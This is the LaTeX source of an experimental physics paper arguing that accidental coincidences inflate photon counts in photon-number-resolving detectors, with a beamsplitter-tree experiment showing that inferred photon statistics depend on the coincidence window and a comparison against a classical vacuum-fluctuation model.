As previously mentioned, many physical effects considered to be explained exclusively by a dualistic photon picture have now acquired classical explanations. The use of approaches that consider common, unavoidable nuances of experimental and data analytic techniques such as arbitrary coincidence windows or post selection etc., may enable explanation of fundamental quantum phenomena such as the Born rule\cite{LaCour&Williamson2020,Khrennikov_42012}, quantum eraser,\cite{LaCourYudichakDC2021} entanglement itself,\cite{LaCourYudichakEI2021} or various Bell-type inequalities\cite{Adenier2009,Khrennikov1_2012,Henault2013} with straightforward intuitable resolutions.\cite{Lamb1995,Lamb2001,Boyer1975,LaCour2014,LaCourSudarshan2015,Khrennikov_22012,Khrennikov_32012,Britun2017,Rashkovskiy2015,Rashkovskiy2018,Grossing2011,Henault2011,Henault2015} Needless to say, possible oversight regarding the foundational interpretations of instrument output can have far-reaching effects not only on aspects of quantum computational advantage and quantum communication security, but also on basic physical effects regarded as exclusively quantum.
\begin{acknowledgments}
This work was supported by the ARL:UT Independent
Research and Development Program and by the Office of Naval Research under Grant No.\ N00014-18-1-2107
\end{acknowledgments}
\bibliographystyle{apsrev4-2}
\section{Introduction}
In recent times, Einstein's postulate of light quanta has endured unquestioned by all but a few cautious investigators. It is no wonder since these days we have PNR detectors which very clearly and plainly demonstrate the particle nature of light by the multimodal structure of photon statistics. What could this characteristic intimate \textit{other} than the particle nature of light? The bubble paradox, another of Einstein's gedanken experiments, exhibits the conundrum of light particle locality, energy conservation, and quantum state collapse. The connection between this gedanken experiment and PNR detectors is particularly illustrative and worth revisiting at the end of this work.
In the generally accepted interpretation of photon-number-resolving (PNR) detectors, the multimodal output of the detectors has been deemed to be \textit{prima facie} evidence for light particles. The success of linear quantum optical computing \cite{KLM2001,Slussarenko2019} as well as the security certification for quantum networks \cite{Brassard2000} relies on this interpretation of PNR detectors. PNR detectors utilize simultaneous detections of photons to gather information on input photon states. Various states of light from appropriate sources can be detected by PNR detectors which, in turn, output the photon number distribution of the input light, a crucial measure for exploiting the unique qualities of quantum light \cite{Sergienko2008}. Needless to say, an acceptable signal-to-noise ratio (SNR) is paramount for accurately resolving photon number. Typical calculations of the SNR of PNR detectors are encapsulated by the ratio of light counts to dark counts. However, an additional source of noise constituted by so-called ``accidental coincidences'' manifests in calculations of SNR for intensity interferometers (IIs). In this work, we argue that due to the similarity in design and operation of PNR detectors and IIs, that accidental coincidences should be incorporated in SNR computations for PNR detectors.
It is safe to say that the stance for the existence of light particles in its dualistic form has been the prevalent view since the first quarter of the 20\textsuperscript{th} century \cite{Einstein1905,Dirac1927}. Blackbody radiation, and the photoelectric and Compton effects were the first three phenomena constituting evidence that the electromagnetic field is quantized. More subtle effects found later solidified this position such as spontaneous emission, the Hanbury Brown and Twiss effect,\cite{HBTsir1956} the Hong-Ou Mandel effect,\cite{HOM1987} etc. However, in 1963 Sudarshan noted the equivalence between the semiclassical and quantized field descriptions of statistical light beams.\cite{Sudarshan1963} Several years later Lamb and Scully derived a semiclassical model where the field is treated classically while the detector is marked by quantized behavior. In this way, the photoelectric effect, previously interpreted as evidence of a quantized light field could also, in fact, be seen as evidence of a semiclassical paradigm.\cite{LambandScully1969} Moreover, since Lamb and Scully's semiclassical model, the aforementioned phenomena have lost their status as exclusively explained by a light particle picture.\cite{Mandel1976,Milonni2019, Raman1928,Cercignani1998,Bourret1973,Camparo1999}
The measurement of correlations between detectors has occupied a pivotal position in the field of quantum optics in no small part due to its crucial role as a powerful method for extracting experimental evidence concerning the degree of optical coherence of a system.\cite{Glauber_21963,Glauber_11963,MandelWolf1995} The work of Hanbury Brown and Twiss largely founded the practice of such correlation measurements \cite{HBT1954, HBTsir1956, HBTcoh1956}. The IIs used in their work incorporated pairs of detectors to measure correlations ($g^{(2)}$), thereby quantifying the degree of spatial coherence of stellar sources as a function of detector separation. This technique was used to successfully ascertain the angular dimension of the sources.
Generalizations to higher numbers of detectors and, as such, access to higher order correlations has been explored theoretically by Malvimat \textit{et al.} \cite{Malvimat2014}. They found that the SNR (in dB) of a generalized intensity interferometer using $N$ Geiger-mode single-photon detectors scales as
\begin{equation}
10^{\mathrm{SNR}/10} \sim \frac{N(N-1)}{2} (r\Delta t)^{N/2} \frac{\Delta\tau}{\Delta t} \sqrt{\frac{T}{\Delta t}} \; ,
\label{eqn:SNR}
\end{equation}
where $r$ is the detection rate, $\Delta t$ is the reciprocal electrical bandwidth or, equivalently, the coincidence window, $\Delta \tau$ is the source coherence time, and $T$ is the integration time. The symbol $\sim$ reflects the lack of precision of the expression due to individual characteristics of a particular measurement setup, such as detector efficiency and transmission losses. Accidental coincidences, in contrast to correlated coincidences, constitute the most elusive source of noise to overcome in the case of correlated measurements, as other sources of noise, such as dark counts and afterpulsing, can be compensated straightforwardly at the individual detector level of analysis. Accidental coincidences take multiple forms including dark-count-dark-count combinations between constituent detectors or (effective) pixels, dark-count-light-count combinations, and light count combinations between different coherence times, but within single coincidence windows, i.e. when $\Delta t \gg \Delta \tau$. (The accidental coincidences caused by the mismatch between coherence time and coincidence window establish the primary cause contributing to coincidence window dependence of photon statistics shown later in this work.) The quantity $r\Delta t$ is always less than unity in experiments, since the detector dead (recovery or reset) time is at least as long as the coincidence window. The condition $r\Delta t < 1$ implies that the SNR decreases as the number of detectors increase, and this property has discouraged their use in II experiments.
Despite being separated by the fields of astronomy and quantum optics, intensity interferometers show a striking resemblance to certain multiplexed PNR detectors. In fact, an intensity interferometer, when operated using Geiger-mode detectors, has exactly the same architecture as a two-detector multiplexed PNR detector. Furthermore, the similitude persists if we extrapolate the architecture to $N$ detectors. Not only is the layout topologically equivalent, but the technical analysis revealing correlations by grouping coincident detections in IIs is essentially the same as counting photon number by grouping coincident detections in PNR detectors.
This compelling similitude suggests that the prevailing method of calculating SNR for PNR detectors may be neglecting the more subtle source of noise from accidental coincidences, which by contrast is included for IIs. If so, it would be prudent to question the certitude with which PNR detector results are presented. It also suggests that certain anomalous characteristics (such as coincidence window dependent photon statistics) may manifest if accidental coincidences dominate PNR detector results. Figure \ref{fig:snr} shows the dependence of SNR on both coincidence window and number of single photon detectors (therefore number of incident photons). The red box represents the parameter space explored experimentally in this work. The white dashed line signifies a limit of effectiveness for PNR detectors beyond which detector number saturation, to be described below, spoils results. For the sake of clarity, the experimental results conducted in this work are not meant to solve the issue of accidental coincidences, as is evidenced by the insufficient SNR shown in the red box in Figure \ref{fig:snr}. Rather, we demonstrate that one of the anomalous characteristics associated with high rates of accidental coincidences, i.e. having a low SNR, is the coincidence window dependence of photon statistics. This low SNR is representative of many PNR detectors surveyed below, and suggests similar anomalous characteristics may be observed in existing devices.
At this juncture a distinction must be made between what we may call detector temporal saturation and PNR detector number saturation. Detector temporal saturation is the limitation in which the count rate of a single-photon detector in Geiger mode fails to be as sensitive to detections at higher intensities as it is at lower intensities. The single photon detector count rate peaks at a maximum count number as input power is increased. The maximum count rate, which characterizes detector temporal saturation, is inversely proportional to the detector dead time. PNR detector number saturation, in marked difference, occurs when every discrete detector (or effective pixel) composing the PNR detector is continuously activated, and therefore practically insensitive to incoming light. This condition is reflected in Eqn.\ (\ref{eqn:SNR}) as $N \approx r\Delta t$ and is represented by the white dashed line in Fig.\ \ref{fig:snr}. In practice, this condition implies that SNR values in the region to the right of the white dashed line are inaccessible due to PNR detector number saturation, which happens independently of detector temporal saturation.
\begin{figure}[ht]
\centering
\includegraphics[width=\columnwidth]{Figures/SNR.pdf}
\caption{(Color online) Theoretical signal-to-noise ratio for $N$-detector intensity interferometers. The black contour indicates an SNR of 3 dB. The parameters used in the expression match the experimental conditions used in this work: 2 ps coherence time, 200 kcps detection rate, a 0.5 second integration time. The red box displays the area experimentally explored in this work. The white dashed line represents detector number saturation, to the right of which none of the detectors composing the PNR detector are able to fully reset.}
\label{fig:snr}
\end{figure}
One clear characteristic of Fig. \ref{fig:snr}, owing to the condition $r\Delta t < 1$, is the precipitous falloff of the SNR with increasing detector number. With these experimental parameters, an SNR higher than the 3-dB threshold level (shown by the black line) is reflected only for correlations of order two (which occur at coincidence windows less than 1 fs).\footnote{For reference, Hanbury Brown and Twiss obtained SNRs of 1.2--3 dB in \cite{HBTsir1956}.} Unfortunately, the signal for higher order correlations is overwhelmed by accidental coincidences. Cognizance of such SNR relations is crucial to avoid mistaking accidental coincidences for correlated coincidences.
\section{Review of PNR Detectors}
As mentioned above, many existing studies on PNR detectors belie a low SNR when calculated using Eqn. \ref{eqn:SNR}. Figure \ref{fig:snrsurvey} shows the SNR results of a survey of PNR detectors calculated using parameters listed in their respective text.
In this work, we focus on the following most utilized PNR detector architectures: visible light photon counters (VLPCs) \cite{Kim1999,Takeuchi1999,Petroff1989,Baek2010,Waks2004}, transition edge sensors (TESs) \cite{Miller2003,Cabrera1998,Irwin1995,Avella2011,McCammon1984,Gerrits2016,Lita2008,Humphreys2015,Pearlman2010,Levine2012,Namekata2010,Brida2012}, superconducting nanowire single-photon detectors (SNSPDs) \cite{Semenov2001,Goltsman2001,Cahall2017,Zhu2018,Zhang2020,Divochiy2008,Luo2018}, and a class of noncryogenic detectors (NCDs) of which the following three general sub-types exist: beam splitter single photon detectors (BS-SPDs) \cite{Achilles2003,Provaznik2020,Hlousek2019},\footnote{Incidentally, the BS-SPD design was originally constructed with interferometry in mind, not PNR detection per se, as in reference \cite{Ou1999}.}, and spatially \cite{Jiang2007,Avella2016,Ding2019,Kalashnikov2011,Cai2019} or temporally \cite{Kruse2017} multiplexed designs. In addition, unique PNR detector designs also exist \cite{Nehra2020,Zambra2005,Straka2018}.
Figure \ref{fig:snrsurvey} shows that SNR typically decreases as a function of increasing detector number (or photon number equivalently). Three detectors (two TESs and one NCD) manage to achieve an SNR above 3 dB for 2 photon events, however, all rapidly decrease with only one TES remaining above 3 dB for 3 photon events. As one can see, the vast majority of PNR detectors fall below the 3 dB threshold for SNR. At these low SNR values results would be dominated by accidental coincidences.
\begin{figure}[ht]
\centering
\includegraphics[width=\columnwidth]{Figures/SNRSurvey.pdf}
\caption{(Color online) Survey of theoretical signal-to-noise ratio for PNR detectors using $N$-detector intensity interferometry treatment and individually stated device parameters. Various types of PNR detectors are represented in the survey including, transition edge sensors (TES), visible light photon counters (VLPC), superconducting nanowire single photon detector based devices (SNSPD), various noncryogenic detectors (NCD), lastly this work, a member of the noncryogenic type, is shown in green in the midst of the detectors. Few PNR detectors achieve an acceptable SNR even at low photon numbers.}
\label{fig:snrsurvey}
\end{figure}
In addition to the SNR decline, the arbitrary nature of the coincidence window for PNR detectors breeds suspicion with regards to the standard interpretation of photon counting. In order to fully grasp the importance of arbitrary coincidence windows and their effects on photon statistics we briefly review some aspects of current PNR detectors.
Simultaneous detection is an ingredient critical to the intended operation of PNR detectors and is vital to probing the veracity of multiphoton states. "In the elementary quantum process of decay of a photon ($\omega_p$) into two new photons ($\omega_1$, $\omega_2$), emission of the products should be simultaneous." \cite{Burnham1970} Therefore, detection, barring a relative delay line, should be simultaneous. As noted by Grangier \textit{et al.}, one stipulation of this deduction is that the coincidence window chosen for detection must be no greater than the coherence time of the source \cite{Grangier1986,Grangier2006}. This stipulation ensures that more true coincident detections occur in the detection area rather than accidental uncorrelated detections. This condition is ostensibly borrowed from SNR concerns when dealing with IIs. For PNR detectors, if the coherence time is shorter than the coincidence window, we would expect accidental uncorrelated detections to aggregate within coincidence windows and therefore artificially increase the calculated photon number as the coincidence window increases. A test of this behavior would be to vary the coincidence window while keeping the source power constant. In this work we address this test by systematically exploring the parameter space comprised of coincidence window duration and input power for a coherent source. However, even if the coincidence window is matched to the coherence time there is still a scaling problem if one increases the number of detectors to capture higher order states, as we have seen in Fig.\ \ref{fig:snr}.
PNR detectors are characterized by several different metrics, such as efficiency, dead time, maximum detectable photon number, photon number resolution, etc. The coincidence window is an often overlooked metric characterizing each particular PNR detector. Coincidence windows are given a warranted amount of attention for Bell inequality experiments \cite{Larsson2014,Christensen2015} but are largely neglected for PNR detectors. Obviously, coincidence windows exist in devices regardless of their lack of intentional design in sensor architecture and construction; they are often hardware defined and associated with the slowest response circuitry in the sensor, typically the amplifier system. Oftentimes, the effective coincidence window is merely the reciprocal electrical bandwidth. In this work, we define the coincidence window as the timescale that determines if one or more detector triggerings should be grouped together, thereby indicating that the detections should be thought of as having a previous association. Already we can see that judgement is an explicit factor in the choice of a coincidence window. In this vein, a software-defined coincidence window, whose only limitation is the hardware circuitry speed, can be tuned to maximize visibility or other metrics of interest \cite{Grangier1986}.
In the case of a hardware-defined coincidence window, the coincidence window is the timescale that characterizes the pileup behavior of the sensor response signal and determines to a large degree how the combination of discrete height pulses in the response signal histogram are distributed. Liao \textit{et al.} \cite{Liao2020} have shown changes in photon statistics while increasing power (keeping the coincidence window constant). In this work we vary not only the power of our coherent source, but also the coincidence window.
If elicited, a shift in the photon number distribution caused by merely changing the coincidence window would raise suspicions regarding the accuracy and consistency of the PNR detector in question. Independence of photon number distribution from the coincidence window is regularly and tacitly assumed, perhaps with a vague stipulation that the coincidence window should be small enough. As we show in this paper with a beamsplitter-based multiplexed PNR detector with admittedly low SNR, the calculated photon number distribution is artificially and strongly dependent upon the coincidence window. In light of this, there is a need for a logically consistent interpretation governing the validity of coincidence window choices with the goal of developing the capability to certify valid PNR results.
As we have alluded, in addition to the coincidence window, the coherence time of the light source is pivotal to the proper interpretation of statistical light distributions measured by PNR detectors. Lasers and spontaneous parametric down conversion (SPDC) crystals are two of the most common sources for probing the performance characteristics of PNR detectors. Coherence times for lasers range from 1 ps for entry-level scientific lasers to over 1 ms for high performance, ultra-narrow bandwidth lasers. On the other hand, SPDC source coherence times range from 80 ps for unfiltered output \cite{Halder2008} to 2 $\mu$s for high performance sources \cite{Han2015}. The atomic cascade source used by Grangier et al. for studies on anticorrelation, for example, possessed a lifetime of 4.7 ns \cite{Grangier1986}. It stands to reason that the stipulation that coincidence windows be no greater than the source coherence time should not only apply to intensity interferometers but also to PNR detectors.
Experimental endeavors have demonstrated that an implicit policy of minimizing the coincidence window seems to be in effect, which would be the correct objective to some degree for increasing SNR according to Fig.\ \ref{fig:snr}. However, detector coincidence windows are rarely, if ever, mentioned in comparison to source coherence time, which would be the relevant scaling criterion for determining the suitability of a particular coincidence window. Furthermore, coincidence window minimization across different PNR detector modalities and designs stretches across six orders of magnitude, as shown in Fig.\ \ref{fig:survey}, increasing the inconsistency with which photon statistics are surmised. Again, we emphasize that given a coincidence window no greater than the source coherence time, SNR scaling issues persist for higher numbers of detectors and therefore detection of higher order multiphoton states.
\begin{figure}[ht]
\centering
\includegraphics[width=\columnwidth]{Figures/survey.pdf}
\caption{(Color online) Survey of coincidence windows for the most relevant PNR detectors including visible light photon counters (VLPC), transition edge sensors (TES), superconducting nanowire single-photon detectors (SNSPD), and noncryogenic detectors (NCD) consisting of spatially and temporally multiplexed single photon detectors and a modified avalanche photodiode.}
\label{fig:survey}
\end{figure}
To our knowledge no consistent method has been used in these works to establish an optimal coincidence window other than minimization. Since most experimental setups have used the smallest coincidence window available, we are limited only to raising the coincidence window above the hardware defined level, in our case by using a software-defined coincidence window longer than the hardware-defined level of 1 ns.
\section{Experimental Setup}
The PNR detector used in this work consists of a multiplexed beamsplitter tree-based network with three 50:50 beamsplitters (Thorlabs
CCM5-BS017) supplying four independent single-photon detectors (S-fifteen Si-APD). A fiber-based laser diode (Thorlabs MCLS1 with ss-d6-6-785-50 diode) supplies the input coherent light at 778 nm with a coherence time of 2 ps. An in-line fiber variable attenuator (Thorlabs VOA780-APC), fiber coupling (Thorlabs PAF2-2B), and a set of neutral density filters (Thorlabs NEK01) provide coupling to free space and attenuation. Timing electronics (S-fifteen TDC1) provided timestamps of all detection events among the four detectors, with a timestamp step of 1 ns and a timing resolution of 2 ns. The software-defined coincidence window was swept from 20 $\mu$s down to 10 ns in 500-ns steps. Power was measured using a free-space power meter(Newport 843-R), which could be positioned to intersect the optical axis before the attenuation stack.
\begin{figure}[ht]
\centering
\scalebox{0.35}{\includegraphics[clip, trim=0cm 8.5cm 7cm 0cm, width=1.00\textwidth]{Figures/Setup.pdf}}
\caption{(Color online) The experimental setup consists of four single-photon detectors (D1--D4), three 50/50 beamsplitters (BS), several neutral density filters (NDF), a laser diode (LD), a power meter (PM), and in-line variable attenuator (VA). The power meter was inserted to intercept the beam just prior to the NDF stack.}
\label{fig:setup}
\end{figure}
The single-photon detectors used for this work are of an avalanche photodiode design and are passively quenched with a dead time of about 2 $\mu$s. They have stated nominal efficiencies of about 50\%. The efficiencies were estimated by the manufacturer by comparing each detector to a reference detector, itself having been tested using a traceable power meter. The detectors are also estimated as having a dark count rate of about 300 counts per second (cps).
One important complication that surfaces when incorporating multiple SPDs in a system is the relative balance of counts between detectors. When taking measurements, one must ensure that the amount of power received by each detector guarantees that the dynamic range of each of the detectors largely coincide with each other. This is necessary to prevent a situation in which one detector is operating in the well-behaved linear regime while another detector is either in saturation or near the dark-count regime. In our setup this was arranged by maximizing the detector counts of all the detectors at a modest power level of 0.11 nW, isolating the detector with the lowest maximum counts, then compensating the other three detectors by slightly misaligning the fiber coupling. This resulted in a relative weighting of counts between the detectors, which is summarized in Table \ref{tbl:detector_counts}.
\begin{table}[ht]
\begin{tabular}{cc}
\hline
Detector \; & \; Count Rate (cps) \\
\hline
D1 & $63200 \pm 430$ \\
D2 & $55000 \pm 440$ \\
D3 & $59800 \pm 480$ \\
D4 & $61800 \pm 460$ \\
\hline
\end{tabular}
\caption{Single-photon count rates measured at 0.11 nW, used for detector balancing. D1-D4 indicate detectors 1 through 4.}
\label{tbl:detector_counts}
\end{table}
The intentional misalignment of fiber coupling is generally undesirable due to the lowered system detection efficiency. It is important however to note that we are not attempting to conduct the particularly difficult and metrologically traceable system detection efficiency measurement in which minimizing losses is paramount. Instead, we employ the power meter simply as a proportionality monitor for the intensity level. That being said, the model used herein (detailed below) to convert click statistics to photon statistics is capable of accounting for not only unique detector efficiencies, but also unbalanced branches of the beamsplitter tree. The neutral density filter stack used, which consisted of filters with optical densities of 2, 1, 0.6, and 0.4, possessed an attenuation factor of ($962 \pm 50$). The attenuation factor is offset from the nominal value by about a factor of ten due to the specific wavelength-dependence of the filters.
\begin{figure}[ht]
\centering
\includegraphics[width=\columnwidth]{Figures/saturation.pdf}
\caption{(Color online) In-situ data displaying detector count rate dependence on source power. Signs of detector saturation are visible throughout the dynamic range of the detectors, but dominate at source powers over 2 nW.}
\label{fig:saturation}
\end{figure}
A measured laser power level of 1.9 $\mu$W before attenuation through the NDF stack (and 2 nW after attenuation) induced the onset of detector saturation, as shown in Fig.\ \ref{fig:saturation}. As such, we chose to take measurements at 21 different power levels, in equal increments from 2 nW down to levels near the noise floor or dark-count regime. The dark count regime measurements were taken with no change in the optical setup except closing the in-line fiber attenuator such that the counts registered the minimum values in each detector. Care was taken to measure the dark counts with the fibers connected to the setup as to include any thermal radiation persisting in the fiber.
Data was captured at each power level over a time of about 0.5 s, with 2-ns timing resolution. The time tagger gate time was set to 2 ms in the S-fifteen software, which was chosen in order to prevent overflow of the 16 kB memory register and the 32-bit timestamp index at power levels sufficiently large to induce detector saturation.
\section{Analysis Procedure}
Output from the timing electronics, which consisted of a list of detection timestamps and the associated detector triggering pattern, was processed using a script capable of designating a specific coincidence window. We used a fixed time segment scheme to organize separate coincident window periods and aggregate multiphoton detections in a similar way to the method used in typical PNR detectors to aggregate counts using a gate or pulsed source. (Another possible method of aggregating multiphoton detections, which we did not use, involves defining coincidence windows relative to individual detections, which is the method that intensity interferometers use to aggregate signals in order to measure $g^{(2)}$ correlations.) In our case, a fixed software-defined coincidence window schedule is more appropriate for comparison against other PNR detectors, is easier to implement, and avoids issues of repeatedly counting particular detections when grouped among different relatively defined coincidence windows (i.e., overlapping coincidence windows). Moreover, a fixed coincidence schedule is among the coincidence counting schemes that evade the coincidence window loophole for Bell tests \cite{Larsson2014}.
An additional complication, common to each method of aggregating multiphoton counts, is that the detector may reset and register a second detection before the governing coincidence window has expired. This situation arises when the chosen coincidence window is a large fraction of the detector dead time for free-running SPDs. This problem is not typically seen in most PNR detectors due to the fact that their effective coincidence window tends to be much smaller than the detector dead time. Source pulsing or detector gating would circumvent this complication \cite{Agafonov2007}; however, this was not possible using our setup, as the pulse rise time for our laser source is rather slow (about 5 $\mu$s) and our detectors do not have hardware gating capability. We avoid this issue in software by forbidding all duplicate detections from the same detector within a coincidence window. A finite detector dead time also engenders a corresponding complication wherein a possible photon could impinge upon the detector while the detector is in a recovery state. This complication is common to all PNR detectors, presumably manifesting as a drop in detector efficiency, and can be mitigated only by improving the detector dead time.
The script we developed aggregates the multi-detector events, which are typically interpreted as multiphoton events. An output file specifies the quantities registered for each associated detector combination, which is then fed into another script that processes the multi-detector counts (i.e., click statistics) using a modified binomial detector model based on work by Sperling, Vogel, and Agarwal (SVA) \cite{Sperling2012a,Sperling2012b}. The binomial model we used to convert click statistics to photon statistics was expanded to permit individualized detector efficiencies and dark counts, and an unbalanced source distribution across beam splitter paths. This model was developed for coherent sources and as such is relevant for our laser-based system.
According to the model, the probability for $k$ clicks is
\begin{equation}
P_{k} = \sum_{|\boldsymbol{m}|=k} \prod_{i=1}^{N} p_i^{m_i} \prod_{j=1}^{N} (1-p_j)^{1-m_j} \; .
\label{eqn:Binomial}
\end{equation}
where $m_i \in \{0,1\}$, $|\boldsymbol{m}| = m_1 + \cdots + m_N$, and $p_i$ of a detection of the $i^{\rm th}$ detector. For coherent light, and including detector-specific parameters, $p_i$ is given by
\begin{equation}
p_i = 1-e^{-\eta_{i}|u_{i}\alpha|^{2}-\nu_{i}} \; ,
\end{equation}
where $\eta_i$ is the detector efficiency, $1-e^{-\nu_i}$ is the probability of a dark count, and $u_i\alpha$ is the amplitude of coherent light entering the detector. For a uniform beam splitter network, $u_i = 1/\sqrt{N}$.
Nominal initial values for detector efficiencies, dark counts, branch weighting, and the click statistics were input to an optimization routine. This routine minimizes a chi-squared metric tracking the overall deviation between the model's binomial photon distribution and the experimental detector click statistics. For each power level and each coincidence window, the optimization routine was applied to estimate, not only the aforementioned efficiencies, dark counts, and branch weighting, but also the mean photon number, $\mu$. In this way, we could determine the dependence of the mean photon number on both the coincidence window and source power level.
In addition to the experimental data produced, we also developed a script that generates detection events according to a classical model with a stochastic vacuum field component combined with deterministic amplitude-threshold detectors \cite{LaCour&Williamson2020,VQOL}. The classical nature of the model was an intentional feature used to test the possibility of reproducing what is typically interpreted as evidence for the particle nature of light via PNR detectors under purely continuous electromagnetic field conditions. One could construe this test as an exhibition of the suitability of purely classical approaches for interpreting experimental PNR detector results.
Under this model, coherent light is represented as a complex Gaussian random vector with a nonzero mean. Specifically, a coherent state $\ket{\alpha}_H\otimes\ket{0}_V$ corresponding to a single spatial mode and two orthogonal polarization modes (horizontal and vertical, respectively) may be represented by the random variables
\begin{subequations}
\begin{align}
a_H &= \alpha + \sigma z_H \\
a_V &= \sigma z_V \; ,
\end{align}
\end{subequations}
where $\sigma = 1/\sqrt{2}$ is the standard deviation due to the vacuum state and $z_H, z_V$ are independent standard complex Gaussian random variables. So $\mathsf{E}[|a_H|^2] - \sigma^2 = |\alpha|^2$ corresponds to the average photon number in the horizontal polarization mode, excluding the vacuum contribution.
For a beam splitter network with $N$ output spatial modes, we now have
\begin{subequations}
\begin{align}
a_{iH} &= u_i \alpha + \sigma z_{iH} \\
a_{iV} &= \sigma z_{iV}
\end{align}
\label{eqn:VQOL}
\end{subequations}
where $u_i$ is defined as before and $z_{iH}, z_{jV}$ are independent standard complex Gaussian random variables.
We treat detections as simple amplitude-threshold-crossing events, so a detection on the $i^{\rm th}$ detector is modeled as the event
\begin{equation}
D_i = \{ |a_{iH}| > \gamma \; \text{or} \; |a_{iV}| > \gamma \} \; .
\label{eqn:detector}
\end{equation}
It is now straightforward to compute the probabilities for various multidetection events, since all detection events are mutually independent. The probability of exactly $k$ detections will be given by Eqn.\ (\ref{eqn:Binomial}), with $p_i$ replaced by the probability of event $D_i$.
\section{Results}
Output from the optimization routine included estimates for the average photon number, detector efficiencies, binomial distribution, and the corresponding Poisson distribution. The click statistics, binomial distribution, and the corresponding Poisson distribution are plotted in Fig.\ \ref{fig:distributions} for a source power of 0.11 nW and a 3.5 $\mu$s coincidence window resulting in an average photon number of 2.46. Due to the binary nature of the detectors,\cite{Sperling2013,Bohmann2017,Sperling2014,Piacentini2015,Miatto2018} which signal either the presence or absence of photons, if one were to ascribe to each detection a single captured photon then many photons would likely be undercounted, as multiple photons may impact a single detector. Using this na\"{i}ve approach one would expect a Poisson distribution made manifest in the click statistics directly when the detector system is illuminated by a coherent source. However, the Poissonian estimation is valid only for extremely low light levels, where the probability of observing a multiphoton state is negligible. The correct scheme for analyzing arrays of on-off photon detectors is based on the binomial distribution \cite{Sperling2012a,Sperling2012b}.
Instead of using the na\"{i}ve approach, the Poisson distribution in Fig.\ \ref{fig:distributions} was calculated using the average photon number estimated from the optimized binomial distribution. As such, the Poisson distribution probability weighting is shifted toward higher photon numbers, indicating the veiled undercounting of photons due to multiphoton states producing lower order detector click patterns. In this way, the Poisson distribution is reconstructed appearing as if single-photon detectors could count multiple photons. Notably, all probability in the calculated Poisson distribution above a photon number of four is added in the ``4+'' bin, as this PNR system possessed a maximum photon resolution of four corresponding to the number of detectors. All things considered, Fig.\ \ref{fig:distributions} shows both the agreement between click statistics and the fitted binomial distribution as well as the unsuitability of estimating the photon distribution by fitting a Poisson distribution directly to the click statistics.
\begin{figure}[ht]
\centering
\includegraphics[width=\columnwidth]{Figures/Distributions.pdf}
\caption{(Color online) Distributions describing photon statistics gathered experimentally for a nominal power of 0.11 nW and coincidence window of 3.5 $\mu$s. Click statistics, integrated over 0.6 seconds, are shown in brown. The fitted binomial distribution is in blue, and the corresponding Poisson distribution, calculated using the binomial model's average photon number of 2.46, is in gold. The ``4+'' bin aggregates the probabilities for four or more photons.}
\label{fig:distributions}
\end{figure}
As noted previously, we swept through values of both coincidence window as well as source power. Fig.\ \ref{fig:clicks} (top panel) shows the click statistics for all values of coincidence window at a source power level of 0.53 nW, and Fig.\ \ref{fig:clicks} (bottom panel) illustrates the corresponding binomial distribution resultant from the modified SVA model. We observe, in both cases, the weight of the probability shifting from low photon numbers to higher photon numbers as the coincidence window increases. The discrepancy between the click statistics and the binomial distribution resulted in an average uncertainty below $\pm1.5\%$ showing excellent agreement.
\begin{figure}[ht]
\centering
\includegraphics[width=\columnwidth]{Figures/clicks.pdf}\\
\vspace{0.5cm}
\includegraphics[width=\columnwidth]{Figures/binomial.pdf}
\caption{(Color online) Top panel: Click statistics at 0.53 nW. Bottom panel: Binomial distribution at 0.53 nW}
\label{fig:clicks}
\end{figure}
Each binomial photon distribution contained an associated average photon number which is plotted in Fig.\ \ref{fig:APN} (top panel) as a function of both coincidence window and source power level. We can see that, as expected, as the source power increases the average photon number increases. We can also observe the normal saturating effect as the source power induces detection rates on par with the dead time of the detector (1 $\mu$s) shown in appendix 1. In addition to these expected characteristics, the average photon number behavior also shows a strong dependence on the coincidence window. To our knowledge no other experimental groups have displayed data showing systematic dependence of calculated photon distribution on coincidence window. The coincidence window dependence, similar to the power dependence, shows some saturating behavior. It must be noted, however, that as the average photon number grows above 4 the certainty with which we may treat the photon distribution diminishes and consequently the validity of the average photon number begins to rely more heavily on the adherence of the laser's character as representing a true Poissonian light source.
\begin{figure}[ht]
\centering
\includegraphics[width=\columnwidth]{Figures/APNexp.pdf}\\
\vspace{0.5cm}
\includegraphics[width=\columnwidth]{Figures/APNmodel.pdf}
\caption{(Color online) Top panel: Average photon number dependence on coincidence window and source power. Data was captured experimentally and passed through an analytical model based on SVA's work. Bottom panel: Average photon number dependence on coincidence window and source power. Calculated using fully classically modeled detection events, then passed through the SVA binomial model for photon detection.}
\label{fig:APN}
\end{figure}
In addition to gathering experimental data, we also chose to implement a fully classical model based on stochastic vacuum fluctuations and amplitude threshold detection, as described by Eqns.\ (\ref{eqn:VQOL}) and (\ref{eqn:detector}), in order to test if it is possible to replicate the output of a photon number resolving detector without relying on the \textit{a priori} assumption of light particles. Figure \ref{fig:APN} (bottom panel) shows the results of this modeling effort in a one-to-one comparison manner with the experimental results. Indeed, the average photon number constructed purely from the results of the classical model processed in the exact manner as the experimental data shows striking similarity. First, we note the overall similar values on an order of magnitude scale, which we emphasize was not guaranteed as the generally accepted mechanism of operation of PNR detectors, i.e. photon absorption, is not invoked in the simple one-factor model. Secondly, we see similar qualitative behavior at comparable values both in the coincidence window timescale as well as the power level. In particular we observe the relatively rapid rise and gradual saturation of average photon number values as each independent variable increases. As for discrepancies, the model data shows more fine-grained variability even after one application of nearest neighbor averaging, which may be attributed to the slightly shorter overall integration time of the model data. The experimental integration time amounted to 200-300 cycles of 2 ms time periods providing a total of about half a second of total integration time for each combination of coincidence window and power level. Likewise, the model data was integrated over 100 periods of 2 ms, which corresponded to similar 10 MB file sizes for experimental data and model data. The file size limit was necessary for prompt processing of the coincidence window script on a PC i.e. 10 hours total for each model and experiment over all coincidence window and input power combinations. Incidentally, the binomial model optimization script required 11 hours total for each.
\section{Discussion}
The previous SNR analysis by Malvimat et al. describes the case for incoherent light, as distant starlight has been the principal target of intensity interferometry. In our case, where the light source is a coherent source, Glauber states that "fully coherent fields and delayed coincidence counting measurements carried out in them will reveal no photon correlations at all." \cite{Glauber2006} i.e. $g^{(N)} = 1$. As a result, in measuring $g^{(N)}$ for coherent sources, we can expect the counting rate of $N$-fold coincidences to be,
\begin{equation}
r_c^{(N)} = r_1 \cdots r_N (\Delta t)^{N-1} \, g^{(N)}
\end{equation}
where $r_c^{(N)}$ is the coincidence rate and $r_i$ is the counting rate of the i\textsuperscript{th} detector. Therefore the coincidence rate, and thus the SNR, will decrease in the same manner as Eqn.\ \ref{eqn:SNR} due to their similar scaling $\sim(r \Delta t)^N$. In this way, results from SNR analysis still hold validity for the coherent light used in our experiment.
